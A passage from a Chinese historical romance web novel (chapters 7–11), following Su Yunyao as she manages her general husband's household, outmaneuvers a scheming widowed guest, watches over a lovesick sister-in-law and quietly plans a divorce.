裴秉安这厮今年二十六,年纪可不小了,又不是风华正茂弱冠之年的男子,昨日又忙碌了那么久的军务,怎么还这么血气方刚?
他极其自律,每日五更起床,无论刮风下雨,从未改过,就算昨晚在榻上折腾了一个时辰,也没多睡片刻。
昨晚的衣裳搭在衣架上,苏云瑶坐了会儿,身上好受了些,便下榻穿了衣裳。
屋里没有铜镜,苏云瑶只好对着水盆照了照脸。
这次嘴唇虽没有咬破,却红肿了一块,苏云瑶又恨恨腹诽了几句,之后以指做梳,梳了梳头发。
她没有挽已婚妇人的发髻,只简单将头顶的发用簪子挽起,其余的乌发随意地垂在肩头,像没出阁时那样。
推门走到院外,遥遥看到宽敞得能跑马的庭院中,东南角靶场那一边,裴秉安一身黑色劲装,手持一把弓箭,正在靶场练箭。
晨光熹微,天色尚未大亮,他目力却极好。
箭尖瞄准靶心,伟岸挺拔的身形如高崖青松般屹立不动,稍顷后,劲风走过,手腕顺势一抖,羽箭倏然飞出,正中靶心。
一连十箭,皆是如此。
苏云瑶在旁边等了一会儿,在他放下弓箭的时候,快步向他走去。
“夫君。”
微亮的晨光中,风吹乱了她肩头的乌发,裴秉安面无波澜地转眸,看见那纤细的身影时,目光恍然停驻了一瞬。
“夫君,三弟要买西域的千里马,府里银钱不够,我没法子,你看该怎么办?”苏云瑶问道。
裴秉安沉思片刻,沉声道:“骑射课程重要,若是旁人都有好马,三弟也该有一匹。”
苏云瑶意外地扬起秀眉。
听他的意思,是打算拿银子给三弟买马了?
若是他当真能交来银子,她可以替他帮办事。
苏云瑶正要问他打算出多少银子时,却突然又听他道:“只是银钱不足,确是难事,依你之见,该如何是好?”
苏云瑶:“?”
她故意把难题抛给他,他反过来又问她该怎么办?
苏云瑶无奈揉了揉额角,巧妇难为无米之炊,没银子,她也没法凭空变出匹千里马来。
不过,虽说马匹好坏重要,骑术同样重要,甚至有过之而不及。
三弟自信自己骑术不差,事实未必如此,苏云瑶道:“夫君的部下可有擅长骑术的?”
裴秉安点了点头,他的属下人才济济,甚至有几个年轻卫兵骑术与他不相上下。
“那就请夫君差人过来教三弟骑马吧,待三弟骑术练好了,骑射课程自然会有更好的成绩。”
裴秉安拧眉沉吟起来。
她的办法不无可取之处,只是单单这样,三弟未必能超过旁人。
看他一时愁眉不展的模样,苏云瑶心中莫名觉得解气。
她的腰还隐隐有些酸痛,也该让这位裴大将军发愁一回家宅里的事。
他迟迟没有开口,苏云瑶弯唇笑了笑,柔声道:“夫君要是觉得可行,那就先这样定下?”
裴秉安沉默片刻,道:“可还有更好的办法?”
苏云瑶抿唇,乌黑的眼珠骨碌碌转了几转。
三弟经常缠着她要银子,实在让她头疼,究其根本原因,是因为国子监都是官宦子弟,家境非富即贵
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,同窗之间攀比之风严重。
裴宝绍还年少,不知银钱金贵,难免会与人攀比。
这次要与人比马,下次便可能会比其他更贵重的东西,为了杜绝后患,最好让裴秉安这个当大哥的亲自出面,杀杀这种风气。
他虽没银子,毕竟身居高位,受皇上器重,说话有分量,不看僧面看佛面,国子监的教授们定然不敢把他的话当耳旁风。
苏云瑶微笑道:“夫君,三弟光练习骑术,确实不能解决问题的根本。我想,夫君最好抽空去见一见国子监的课业教授,提提意见。比赛骑射,学子的马匹水平应该相当,若是有人骑千里马,有人骑普通的马,比赛便有失公正。”
裴秉安垂眸沉沉看了她一眼,唇角微不可察地勾起。
她言之有理,他会听取她的建议。
身为长嫂,她思虑周全,蕙质兰心,照护弟妹可谓尽心尽力,实在让他深感满意。
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一连几日,月华院再没传大夫,宋姑娘也没再请大哥去过她的院子,她心口疼的毛病,竟像是完全好了。
路过月华院的时候,崔如月好奇地伸着脖子往里看。
只是院门紧闭,一时什么也看不见。
她便蹑手蹑脚走近了,贴着门缝往院里瞧,瞧了一会儿,只看见宋婉柔一动不动地坐在亭子里,不知在发什么呆。
崔如月的丫鬟彩绫直挺挺在一旁望风,看到不远处有丫鬟朝这边来了,慌忙大声道:“二奶奶,来人啦!”
这个蠢丫头,叫这么大声,生怕别人听不见吗?崔如月气得咬牙戳了她脑门子一下,压低声音道:“还站着干什么,走!”
匆忙避开来人,回到瑞香院,崔如月左思右想,总觉得不对劲,彩绫端了药过来,道:“二奶奶喝药吧。”
崔如月最近肠胃不适,起因是吃多了长霉点的荔枝,她连拉了好几天肚子,身体发虚,脸色蜡黄,连走出院门的力气都没有,直到今日,身体才好了些。
崔如月喝着药,忽然自顾自地点了点头,幽幽叹道:“大嫂真是好手段哪!”
彩绫茫然不解地摸了摸头,道:“二奶奶为啥这么说啊?”
崔如月白了她一眼:“瞎问什么,给你说,你也不懂。”
桌上有碟洁白的茯苓糕,是今晨从外头的糕点铺买回来的,还没来得及吃。
崔如月从碟子里捡出来几块,剩下的重新用个小碟子盛了,对彩绫道:“把这碟糕送到月华院去,就说是我亲手做的,让宋姑娘尝尝。”
8. 第8章
茯苓糕送到月华院时,宋婉柔有些惊诧。
她与崔如月只打过几回照面,没什么交情,没想到她会差人送茯苓糕来。
“是你家二奶奶亲手做的?闻着香甜,一看便是好手艺。”宋婉柔微笑着称赞。
那茯苓糕是外头铺子买来的,二奶奶不会做,彩绫回想着来之前主子叮嘱的话,道:“二奶奶说了,是她亲手做的!”
宋婉柔让白莲抓了一大把赏钱与她。
彩绫领了赏钱喜笑颜开,她在瑞香院当差,二奶奶可从没这么大方过。
待彩绫离开后,想到给她的那一串三百个铜钱,白莲满脸都是不高兴。
“姑娘,这一碟子茯苓糕才值几个铜板,为什么要赏给她这么多钱?”
宋婉柔坐在椅子上细细思量了一会儿,突然道:“你忘了上回的黄连汤了?”
想到大奶奶送来的那碗黄连汤,白莲脸色顿时变了,不由恨恨咬了咬牙。
姑娘与将军年少时便相识,如果不是姑娘当初嫁去了甘州,现在裴将军的正妻之位,非姑娘莫属。
自打将军接了姑娘回来,一路上,她早打听清楚了,那个苏氏穷乡僻壤出身,家境落魄,若不是有祖上的婚约,根本不可能嫁给将军。
而她嫁进来后,将军极少去她的院子,到现在,她连孩子都没怀上,这些足以说明,她根本不得将军喜爱。
姑娘此番回来,不过是为了拿回早该属于自己的东西,可那个苏氏却不是个省油的灯,灌了姑娘一肚子黄连汤,让人有苦说不出。
“姑娘的意思是,这个二奶奶有意与我们交好,说不定能有些用处?”
宋婉柔拈起几块茯苓糕挨个看了会儿,咬下一小口细细嚼了嚼,道:“这些茯苓糕每块色泽、大小都一样,只是味道过分甜了些,这是外面铺子卖的,不是崔如月自己做的。”
白莲满头雾水地看了看那糕点,道:“那二奶奶还特意让丫鬟说是她自己做的,她为何要这么样?”
宋婉柔勾唇笑了笑,道:“这说明她嘴里的话有真有假,不能都当真。”
白莲泄气地往旁边一坐,道:“我们到底是这府里的外人,孤立无援,这么说,这二奶奶也指望不上。”
宋婉柔拿起帕子擦了擦唇角,道:“也不全然如此。大嫂是个精明人,我与她有了过节,以后是敌非友。我们来了好几天了,崔如月一直不冷不热,今天却忽然送来一碟糕点,无利不起早,她肯定有她的目的,我不妨去她院里坐坐,看看她到底想跟我说什么。”
想了想,她让白莲拿了一匹云缎出来,外头用蓝色粗布裹住,做出寻常布料的模样,亲自送到了瑞香院。
待那云缎缓缓在眼前展开的时候,崔如月的眼睛都看直了,爱不释手地摸了又摸,嘴里啧啧称奇。
宋婉柔道:“二嫂,这是大嫂送给我的,我哪里适合这样的?思来想去,全府上下,只有你穿这样的缎子最好看。”
崔如月听了这话,笑得合不拢嘴,可一想到这云缎是宫里赏赐的,大哥全都让大嫂收了起来,她连见都没见过,心里又恨了起来。
要是她当家理事,打理府里的中馈,这样的好绸缎,不就都是她的了?
崔如月拉着宋婉柔的手坐下说话,笑道:“婉柔妹妹,还是你有眼光。你是真瞧出来了,我生孩子前,那腰和大嫂的一样细,只是生了两个孩子,现在胖了些。你把这缎子送给了我,要是大嫂看见,心里不高兴怎么办?”
宋婉柔忙道:“是我考虑不周了,大嫂送给我的,我不好再送出去。只是我手里没什么好东西,送别的,又怕配不上二嫂,要是大嫂知道了,该不会怪我吧?”
崔如月撇了撇嘴,伸手在脖子间比划一下,做了个抹脖子的动作,道:“你别看大嫂表面温柔和善,心可是黑到家了,要是知道了,别说会给你脸色,连我都会少不了会被她整治!”
原来她与苏云瑶不对付,宋婉柔浅笑了笑,道:“她还会怎么整治人?”
崔如月冷笑一声,恨恨咬了咬牙:“先前我要讨了秋红给我娘家侄子当媳妇,也不知道哪里惹到了大嫂,她不但没让我办成这件事,还连着让我喝了三天馊米汤,你说她可不可恨?”
想到自己喝的黄连汤,宋婉柔唇畔泛起冷笑:“她实在太过分了,她这样对二嫂,连我都看不过去!这府里难道她一手遮天,大哥不管她吗?”
崔如月心里一热。
果然,公道自在人心,连宋姑娘都为她打抱不平!
“婉柔妹妹,你不知道,大哥忙着军务,后宅的事哪有空操心?再说,大嫂可会花言巧语了,那嘴一张,黑的都能说成白的,大哥可不被她蒙蔽了去!别的不说,你刚来府里,她是不是先往你院里安插了两个心腹丫鬟?那都是她的耳目,她心眼多,特意防着你呢!”
宋婉柔微微一愣。
若不是崔如月提醒,她还没想到这个事。
如此回想,自己进府时实在大意,没注意青枝青叶两个丫鬟,轻视了苏云瑶。
若非如此,装病的事,绝对不会轻易让她瞧出端倪。
崔如月长叹一声,道:“婉柔妹妹,当初要是你嫁进来,只怕同我一样,儿子都生了两个了,老太太不知道得多高兴!大嫂嫁进来三年,一个孩子都没生,她有毛病,不能生孩子,大哥娶了她,可真是倒霉!”
宋婉柔心头忽然一动:“大嫂的身体当真有病,不能生孩子?”
崔如月无比笃定地点点头:“那还用说?这事你我心里知道就行,这是她的忌讳,是她的痛处,不要当她的面提起!就因为她一直没生孩子,老太太嘴上不说,心里可不高兴呢!”
两人在屋里说了半晌,直到过了掌灯时分,宋婉柔才回了月华院。
~~~
过了两日,老太太贪嘴多吃了半碗糯圆,没克化动,肠胃一直疼,便请了大夫来看。
一大早,苏云瑶去桂香堂侍疾时,裴秉安也在。
他下值回府后,听
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说祖母生病,连官袍都未来得及换,便径直到了桂香堂,守在祖母榻前,一夜没合眼。
进屋看见他,苏云瑶下意识打量了他几眼。
他一夜未眠,神色虽丝毫不显倦怠,下巴却生出了一层青黑的胡子茬。
“祖母这里有我侍奉,夫君回去休息休息吧。”苏云瑶道。
老太太本在阖眼睡着,听到两人说话的声音,忽地睁开眼睛,拉住长孙的手,老泪从眼角滑落,哭道:“安儿,你别走,我这一闭上眼睛,说不定就再也睁不开了,你可不能走啊!”
裴秉安道:“祖母放心,孙儿会守在这里,您睡吧。”
老太太放心地闭上眼睛,不一会儿,鼾声响起,沉沉睡了过去。
苏云瑶无语地扶了扶额角。
老太太身子没有大碍,不过是吃多了,静饿两顿,吃些清淡的粥饭,养几日就好了。
不过裴秉安素来恪守孝道,老太太又不要他走,她也不能再说什么。
时辰尚早,刚到五更时分,将军与大奶奶还没用早饭,秋红从外间走进来,小声道:“大奶奶,小厨房做好了饭,现在用吗?”
熬了一夜,再不吃东西,铁打的身子也受不住,苏云瑶不管裴秉安作何表示,对秋红道:“去端来吧。”
早饭摆好,厨房按照老太太的口味做的饭菜,都是咸味极重的咸菜咸饭,苏云瑶看见便没了胃口。
“夫君,你吃吧。”
裴秉安一碗粥吃尽,苏云瑶及时把自己的粥推了过去。
她不想吃这些东西,可裴秉安素来不会浪费一粒米,也不许旁人浪费吃食,她便干脆都给了他。
裴秉安沉沉看了她一眼。
刚盛来的粥太烫,知道他还要去上值,怕耽误他的时辰,她便把她正好可以入口的粥让给他,事事以他为先,实在细心体贴。
用完饭,老太太也醒了。
她身体无碍,精神也好,今日还有朝会,裴秉安不能一直亲自侍奉左右。
离开时,苏云瑶送他到门外,裴秉安沉声叮嘱道:“今天你在这里好好照顾祖母,等晚间下值了,我再过来。”
他一向孝顺得很,自己连觉都没睡,还一个劲地担心老太太,老太太不过是吃多了撑的,身边还一直有丫鬟尽心尽力守着,能有什么事?
苏云瑶暗暗腹诽几句后,还是微微一笑。
他一直都是这样,三年前他们成亲那一晚,因老太太染了风寒,他整整守了一夜,还严肃教导她百善孝为先,要她做好长孙媳的本分,务必尽心侍奉长辈。
一来二去,她也懒得与他多说了。
“夫君,我知道了,我会守着祖母的,你放心去上值吧。”
裴秉安赞许地看了她一眼,随后阔步离开。
行到桂香堂外后,旁边忽然响起一道娇柔的声音。
裴秉安循声望去,不远处一株繁茂的石榴树下,宋婉柔一身藕色裙裳,笑意盈盈地站在那里,道:“大哥。”
9. 第 9 章
微风拂过,鲜红艳丽的石榴花轻轻摇曳。
裴秉安不禁想起,当初宋家伯父伯母在世时,他偶去宋家府邸,见到婉柔时,她经常坐在石榴树旁的秋千架上,高兴地荡着秋千,唤他一声大哥。
时光荏苒,转眼数年过去,伯父伯母都已不在人世,没有亲人庇护,丈夫英年早逝,婉柔在夫家过得亦不如意。
几个月前接到她的信时,看到那染过斑斑泪痕的信纸,他毫不犹豫地决定接她回来。
只要有他这个大哥在,便再也不会让她受任何委屈。
此时天色尚早,府里的下人们还没开始当值,她身体不好,没有多睡一会儿,却好似在这里已等待了许久,裴秉安道:“可是有事?”
宋婉柔笑了笑,道:“听说老太太病了,我来看一看她老人家。”
她自小乖巧孝顺,自己的身体不好,还记挂着老太太的病,裴秉安略一颔首,道:“祖母已经无碍,倒是你,也要注意保养身体,若是有什么事,尽管找你大嫂。”
自婉柔住进府中,看了那一回病后,他军务繁忙,还无暇与她见过面。
有苏氏这个贤妻照顾她,他很是放心。
“大嫂待我极好,”宋婉柔微微一笑,道,“不过有件事,我只能麻烦大哥。”
裴秉安道:“何事?你与我不必见外,直言无妨。”
宋婉柔忽然低下头,拿帕子擦了擦眼角,神情有些哀伤地说:“爹娘的忌日快到了,我已经三年没去给他们上坟烧纸了,不知大哥能否百忙之中抽出空闲?我想请大哥陪我一起去。”
裴秉安沉吟片刻。
宋家伯父伯母葬在城郊,每年他都会亲自去扫墓。
此番婉柔回来,该当祭奠父母,荒郊墓地,偶有野兽出没,太不安全,他应当陪她一起去。
他沉沉点了点头:“好。”
~~~
桂香堂中,侍奉老太太喝了碗白水,等大夫又来诊过脉,说老太太无事后,苏云瑶便回了紫薇院歇着。
早饭还没吃,她不禁饿,一饿就头晕眼花的,回院里,先用了碗红枣糯米粥,之后便靠在美人榻上,看近些日子府里的账目支出。
刚看了没多久,青杏忽地掀帘子走了进来,道:“大奶奶,王妈妈来了。”
王妈妈近日一直按照吩咐盯着裴淑娴的院子,这两日,大小姐每天都要出门,她不坐车,也不坐轿子,连她的丫鬟春燕都没带,只自己一个人去茶楼呆着。
每次从下午申时左右开始,一直呆到傍晚才回府,期间只点一壶茶,不见闺中密友,也不与人说话,实在让人觉得难以琢磨。
王妈妈道:“大奶奶,大小姐今儿又出去了,还是同一间茶楼。”
苏云瑶想了会儿,无奈揉了揉额角。
裴淑娴这莫名其妙的举动定然有缘由,她少不得亲自去一趟,看看那里到底有什么特殊之处。
坐马车出了府,王妈妈在前面引路,没多久,到了茶楼外时,苏云瑶下了马车,让王妈妈先回去。
茶楼的伙计迎了出来,刚要高声请她进去,苏云瑶以指抵唇轻嘘了一声,道:“我随便看看,你不用招呼我,只需告诉我,有个年轻的姑娘在这里坐了半个时辰,她在哪间雅室。”
她今日穿了件淡青色的裙裳,衬的肤色玉白无暇,一双乌黑的杏眼清澈明亮,出门时,没挽妇人的发髻,长发半披半束,像个还没出阁的小娘子。
震惊于她的美貌,那伙计呆呆看了她几眼,下意识按照她的吩咐行事,径直带着她到了二楼一间雅室外。
雅室竹门紧闭,偶尔听见里面有低低的自言自语声,苏云瑶附耳过去听了会儿,确认是裴淑娴的嗓音无疑,便抬手轻叩了叩门。
吱呀一声低响,裴淑娴打开了门。
看到长嫂出现在眼前,她忽然一愣,苏云瑶也适时装作惊讶的模样,道:“妹妹,真的是你?”
裴淑娴捏紧了手里的团扇,往她身后飞快瞥了一眼,见四周只有她一个,没有旁人,遂定了定神,不答反问:“大嫂,你怎么知道我在这儿?”
苏云瑶绕过她进了门,笑着说:“可不是巧了,我出来逛逛,想喝口茶歇歇,本想在旁边找个雅室的,谁想在门口突然听到这里头说话的声音有些像你,这不就敲门看了看。”
说话间,苏云瑶缓步走到雅室的窗旁,展眸在周边看了一眼,几乎是瞬间,她便明白了,裴淑娴为何会到这里来坐着。
茶楼的对面,隔着一条长街,正是贺家的府邸,如果贺探花进出府门,从这里可以看得一清二楚。
她还是放不下贺探花,脑子像生绣了一样轴住,竟然到这里来发痴。
苏云瑶霎时只觉得额角青筋突突直跳。
隔着一张桌子,裴淑娴拿圆扇遮住脸,只露出一双眼睛,死死盯着从窗户处远眺的大嫂。
“大嫂,你看什么呢?”她幽幽开口。
苏云瑶若无其事地回眸,笑道:“这里风景好,我随便看两眼。妹妹,你一个人在这里喝茶,多寂寞啊,怎么不找你的好友一起来呢?”
裴淑娴低头慢慢看了一眼茶桌,茶水早已凉透了,大嫂不请自来,打扰了她的清净,让她十分不悦。
“一个人,品品茶,想想事,窗外人声鼎沸,室内寂静幽冷,正适合我的心境,为何要找别人呢?”裴淑娴捏着扇柄,缓慢地走到窗前,“大嫂,你回去吧,我想一个人呆着。”<
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p>苏云瑶笑道:“我渴了,坐这里喝口茶,喝够了就回去。”
她这样说,裴淑娴也不好再赶人,苏云瑶在她对面坐了,自顾自倒了盏茶。
那茶放了太久,入口微凉,她一小口一小口抿着喝,直到日头西斜,大约快到了平时官员下值的时辰,她才放下喝了一半的茶,突然东拉西扯地说起了哪家脂粉铺子的香粉好,哪家绸缎铺子的花色新。
眼看大嫂再说下去,就要错过清瑜哥哥下值的时辰了,那便连看他一眼都不能了,裴淑娴手里的团扇摇得越来越快,忍不住频频往窗旁张望。
觉得时候差不多了,苏云瑶停下话头,突然道:“妹妹,你在这里,是不是为了看贺探花?”
裴淑娴心头猛然一惊。
不知大嫂是怎么看出来的,但她等待的耐心此时已耗尽了,下意识道:“是又怎样?”
话一出口,裴淑娴猛地捂住了嘴,恨恨瞪了眼苏云瑶。
“大嫂,我又没做什么伤天害理的事,我只是远远看一眼清瑜哥哥,我想看就看,你干吗要多管闲事!”
她自己承认了,苏云瑶也没有指责她什么。
管束裴淑娴这种吃力不讨好的事,她本不用做,她只是不想看她深陷其中,不可自拔。
窗外,一个背影清隽的男子打马从茶楼外经过,往贺府而去,正是那位贺探花。
苏云瑶侧身让开,让裴淑娴尽情看个够。
待贺探花进了贺府,再也看不见他的影子时,裴淑娴终于恋恋不舍地收回了视线。
苏云瑶道:“看够了吗?看够了就和我一起回府吧。”
裴淑娴一言不发,跟着她上了马车。
坐在车内,裴淑娴紧紧捏着扇柄,脑袋靠在苏云瑶的肩头,眼神空洞地望着车顶,眸底一片黯然。
看到她这副模样,苏云瑶无奈揉了揉额角。
淑娴这个死脑筋,什么时候能转过弯来?
两条腿的蛤蟆不好找,两条腿的男人还不好找吗?
天涯何处无芳草,何处痴恋那棵歪脖子树!
暗暗唾骂几句贺探花那个负心薄情男,苏云瑶咬牙点了点裴淑娴的鼻尖,道:“今天远远看了他一眼,应该能抵几日了。你能不能让自己努力坚持十天,这十天里,无论心里多难受,都不来看他?你要是做到了,大嫂把珍藏多时的话本送给你看!”
听到大嫂还有珍藏话本,裴淑娴眼神微微亮了些,道:“大嫂,我尽量试试吧。”
暂时安抚住让人头疼的妹妹,回到紫薇院时,天色已快要黑了。
苏云瑶刚进了院门,青杏便急忙迎上来说:“大奶奶,春桃过来传话,将军让您现在去桂香堂侍奉老太太。”
10. 第 10 章
苏云瑶还没用晚饭。
此时天色刚黑,裴秉安要她这会儿便去伺候老太太,长夜漫漫,恐怕还要与他同在桂香堂守整整一宿,不吃不喝熬上一夜,她可受不了。
她先打发人去桂香堂说一声晚会儿到,之后便靠在美人榻上,不紧不慢地吃了碗滋补身体的阿胶红枣粥,又吩咐了青杏代她巡视各处上夜的情况,方才往桂香堂去。
到了堂内,外面静悄悄的,屋里却热闹。
老太太在养病,想重孙了,崔如月便让奶娘把两个儿子都送了过来。
小的还不满一岁,偎在老太太怀里,专心致志地啃着自己的小拳头,大的那个叫裴吉,乳名叫团团,今年三岁,举着风车在房里跑来跑去,嘴里大声吆喝着。
两个重孙,怎么看怎么让人喜欢,可想到长孙媳嫁进裴府三年,到现在还没有生出孩子,老太太脸上的笑便淡了。
都怪死去的老头子,非得记挂着苏家当年于裴家有恩,给小辈定下了婚约。
要说这桩婚事,她起先就不乐意的,奈何长孙把苏氏娶进了门,也只得如此了。
只是她不能给裴家开枝散叶,就算模样生得再好,当家理事再妥帖,和已经生了两个儿子的二孙媳相比,还是远远不如的。
“我年纪大了,这日子,是过一天少一天了。”老太太突然叹道。
裴秉安沉声道:“祖母何出此言?孙儿孙媳会用心照顾您,您以后定然长命百岁,寿比南山。”
长孙儿是个孝顺的,只有长孙媳让人不满,老太太道:“我活那么大年纪有什么用?咽气前,还不知道能不能抱上重长孙!”
不孝有三,无后为大,苏氏迟迟没有生儿育女,祖母不能尽享儿孙绕膝天伦之乐,裴秉安不安地握了握搁在膝头的大掌,因自责而沉默了几瞬。
“祖母放心,我会让苏氏尽早为裴家诞下子嗣。”
没过多久,苏云瑶走进桂香堂的院门时,秋红看见了,忙上前迎过去行礼。
“大奶奶,将军一下值,就来桂香堂侍奉老太太了,两个小少爷也都在屋里,逗老太太开心呢。”
苏云瑶微笑着点了点头,乌黑的眼珠转了几转,本就轻缓的脚步,此时又慢了几分。
孙子和重孙都在眼前,只怕老太太又会有感而发,借题发挥,催着要她生孩子了。
“祖母,您感觉怎样了?”慢悠悠走到屋里,苏云瑶端出温婉笑容,关心问道。
看见这位长孙媳,老太太脸上的笑意凝住。
“年纪大了,只想儿孙满堂,只要看到孩子在身边,再重的病也好了。”
苏云瑶抬眸瞥了眼裴秉安,恍若没听懂老太太的话。
“祖母,您不用担心,夫君谨记着您的话,以后会多陪着您的。”
她丝毫没有惭愧的模样,也不知是没听懂,还是装糊涂,老太太反被她的话噎住,脸色更难堪了。
不想让这个长孙媳在眼前添堵,老太太干脆撵他们夫妻都离开。
“我的病好了,不用你们伺候了,你们都走吧。”
苏云瑶巴不得听到这一声,莞尔一笑,恭敬地说:“那祖母您好好休息,明天我再来看您。”
话音刚落,只听嗷得一声,裴吉嘴巴一咧,突然扯着嗓门大哭起来。
大人说话的时候,裴吉一直举着风车在屋内东走西跑,不知为何,那风车忽然不转了。
他哭了两声,握起拳头就要打人撒气。
奶娘离他最近,他的拳头便直往奶娘的腿上挥去。
他年纪虽小,长得却高大结实,力气也大,拳头不眨眼地乱锤下去,痛的可不是一星半点。
苏云瑶眼疾手快,一把拽住他的手,将他拉到身边来,温声道:“团团,猜猜伯母来的路上瞧见什么了?”
裴吉哭声猛地一停,握紧的拳头也松开了,瞪大眼睛说:“瞧见什么了?”
苏云瑶蹲下与他平视,双手比划了了翩翩欲飞的手势,微笑道:“看见一只发光的萤火虫,在路边的草丛里飞来飞去。”
“在哪里?我要去看!”裴吉立刻被吸引住,大声叫道。
“那萤火虫听见声音,扇扇翅膀飞走了,找也找不到了。”苏云从他手里拿过拿过风车,手指灵活地拨弄几下,轻轻吹了口气,那风车又转了起来。
“瞧,风车又转了,你不要哭了,更不许随便打人。现在我们假装这个风车就是萤火虫,你让它飞起来试试。”
裴吉眨巴眨巴眼睛,咧嘴笑了起来,举着风车,兴高采烈地道:“萤火虫,飞~~”
短短一会儿,侄子便破涕为笑,目睹贤妻对待小辈如此温柔可亲的一面,裴秉安唇角不易察觉地勾起。
出了桂香堂,裴秉安落在后面还没出来,苏云瑶没等他,一个人径直往紫薇院走去。
今天不是他留宿紫薇院的日子,平时无事,他也不会踏足她的院子。
她更乐得他不来,所以也不用等他一起走。
她惦记着今儿新到的话本子,话本特别有趣,刚看了一个章回,剩下的,她迫不及待地想一口气看完。
谁知刚走了没多远,身后突地响起男人熟悉的嗓音,在寂静的夜晚格外深沉。
“慢着,我有事要对你说。”
苏云瑶脚步一顿,不情不愿地转过身来。
清朗月色下,男人高大挺拔的身影默然矗立,苏云瑶挤出个平素温婉的笑,对他道:“夫君有什么事?”
裴秉安剑眉拧紧,沉吟半晌。
他看得出来,她对侄子都如此温柔,内心肯定也是极想为他诞下子嗣的。
若她以后生了孩子,定然也是个很好的母亲。
只是她身子柔弱,不易有孕,也许,他应该每月多宿在她院里几回,每次行房的时辰再长些,于她怀上子嗣更有益。
这样想着,他沉声开口:“以后,每月休沐之时,我都可以宿在你院里。”
苏云瑶:“?!”
一个月休沐八天,比以前每月同房两回的日子整整多了四倍!
她眼睫震动地颤了颤,好不容易深吸一口气,才勉强压下心中的腹诽。
“夫君军务繁忙,当事事以军务为先,家宅琐事,不必分心,以前的规矩挺好的,我也习惯了,没必要更改。”转头有些烦躁地盯着旁边,苏云瑶尽量语气轻柔地说。
裴秉安垂眸看着她。
朦胧月光下,她长睫低垂,樱唇轻抿,似因听到他的话太过惊喜,而羞怯地偏首看向一旁,不好意思与他对视。
她温柔贤惠,无比体贴,即便想早日怀上子嗣,却因为他公务繁忙,处处为他着想。
但为了祖母早日抱上重长孙的心愿,他确实该改改以往的规矩。
“以后就这样定下吧。”他不容商量地说。
~~~
回到紫薇院,一想到休沐之日就要跟裴秉安那厮同房,连新买的话本,苏云瑶也没心情翻阅了。<
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p>支开丫鬟,屋里静悄悄的,她打开妆台下锁着的小抽屉,拿出记录琐事的札记,奋笔疾书写满了整整一页纸,心里的郁气才少了些。
写完札记,拿出自己的私账翻了翻,默默盘算了一番,第二天天一亮,她便亲自去了趟自己私下开的香料铺。
经营香料铺生意的掌柜刘信,今年三十多岁,原是苏家管马的马奴,几年前,苏家落魄时,家宅里其他的仆妇小厮都遣散了,苏云瑶身边只留下了青桔和刘信两个人。
自打嫁到京都后,青桔她一直带在身边,刘信则留在府外,帮她打理香料铺子里的生意。
“小姐,今年铺子的生意蒸蒸日上,咱们的清味香最受欢迎,除去香料和人工的本钱,今年盈利预计三千两有余,照目前的情形来看,明年的盈利应该与今年持平。”
平时苏云瑶难得来一趟铺子,见到大小姐,刘信黝黑的脸庞笑容满面,一笑露出口整齐的白牙,高兴地不断搓着大手,将铺子的经营情况一一向她汇报。
开业三年,今年已有三千两的盈利,照理说属实不少了,如果是在青州开铺子,短短三年不会赚得有京都这般多。
可苏云瑶沉吟片刻,秀眉却发愁地拧了起来。
清味香是苏家独有的熏香秘方,味道温和清淡,香味绵延悠长,深受京都高门大户里的小姐太太们喜爱。
可只有这味香,香铺的盈利还不够,她想要尽快离开裴家,下半年的进项至少翻倍才行。
一想到裴秉安的新规矩,她便觉得腰间隐隐作痛。
原打算明年攒够银子后再与他和离,可计划赶不上变化,此时她不得不思量着将和离的日子提前半年。
回到紫薇院,苏云瑶抱了厚厚一摞香方古籍,坐在窗前的桌案边认认真真翻阅。
青杏端着冰糖燕窝粥进到屋里时,看到眼前的情形,意外地愣了一会儿。
大奶奶在外面端庄温婉,可伺候她三年了,她晓得,紫薇院没有外人时,大奶奶素来是怎么自在怎么来的。
可这会儿,她竟然破天荒地没有靠在榻上悠闲地吃零嘴读话本,而是像将军似的,垂眉敛目,正襟危坐,一丝不苟地捧着本泛黄的旧书本在研读。
“大奶奶,您看书都那么久了,小心熬坏了眼睛,吃些燕窝粥歇会儿吧。”在旁边等了一会儿,燕窝粥都热过了一回,青杏忍不住劝道。
已足足看了半个时辰的书,苏云瑶起身伸了个懒腰,往美人榻上一靠,一边慢慢吃着粥,一边听青杏说今日各位管事回的事。
账房、库房,大厨房、茶水房,马棚、门房以及各院里的事都如往常一样,没什么特殊的,只有王妈妈提起往月华院送花时,发现宋姑娘的丫鬟在叠纸元宝。
“王妈妈说,白姑娘叠了一筐纸元宝,看见她进屋里,就慌得藏了起来,让她留下花就赶紧打发她走了,她也没来得及多问。”
苏云瑶舀粥的调羹一顿,微微蹙起了秀眉。
纸元宝是烧给去世的人用的,宋婉柔没打发人去外面买,而是吩咐白莲亲手叠元宝,显然要祭奠的人对她来说极为重要。
是她的亡夫,还是她的爹娘?
按理来说,不管祭奠谁,都不是什么需要背着人做的事,可王妈妈看见了,白莲却有意遮掩,显然是怕她看到什么出去说嘴,走漏了风声。
苏云瑶出了会儿子神,突然弯唇笑了笑。
看来,几日没见婉柔妹妹,她又得亲自去一趟月华院了。
11. 第11章
月华院面积开阔,院里的小池塘中,盛开的荷花亭亭而立,几条色彩斑斓的游鱼甩着尾巴游来游去。
突然,水面泛起道道涟漪,一把鱼食落在水里,几条鱼霎时摇头摆尾地争抢起来。
瞧着池塘里有趣的一幕,宋婉柔站在塘边,微微弯起了唇角。
“明日要用的东西,都备好了?”
白莲往四周看了看,青枝青叶两个丫鬟被她支去了一旁,四周静悄悄的,只有她们主仆两人。
明日要去城郊祭奠老爷夫人,将军之前打发人过来,说让她们准备好,明日五更就出发,只有他们三人外带一个赶车的小厮,不带别的仆从。
白莲得意地笑了笑,功夫不负有心人,这下姑娘与将军终于有了独处的绝佳机会。
“姑娘,差不多都备好了,只是不知明日姑娘要穿什么?是穿那条藕荷色的长裙,还是那件湖蓝色的?”
宋婉柔想了一会儿,道:“不必穿得太鲜亮,把我未出阁时那条杏色的裙子找出来,就穿那件。”
白莲眼神一亮,连连点了点头。
院外忽然响起轻缓的脚步声,宋婉柔一愣,急忙转头看去。
苏云瑶带着她的得力丫鬟青杏,还有两个面生的小丫鬟,不紧不慢地走了过来。
那两个丫鬟,是新赁进府的,一个叫小蝶,一个叫小鹊,见了面,苏云瑶介绍道:“婉柔妹妹,这是新来的两个丫鬟,你瞧瞧满不满意?若是你相中了,就让她们留在你院里伺候,我把青枝青叶带回去。”
青枝青叶原就是暂时调拨到月华院来的,听说苏云瑶要把她们带走,宋婉柔暗暗舒了口气。
这里少了紫薇院的人,以后行事自然会更方便。
她细细打量着那两个小丫鬟。
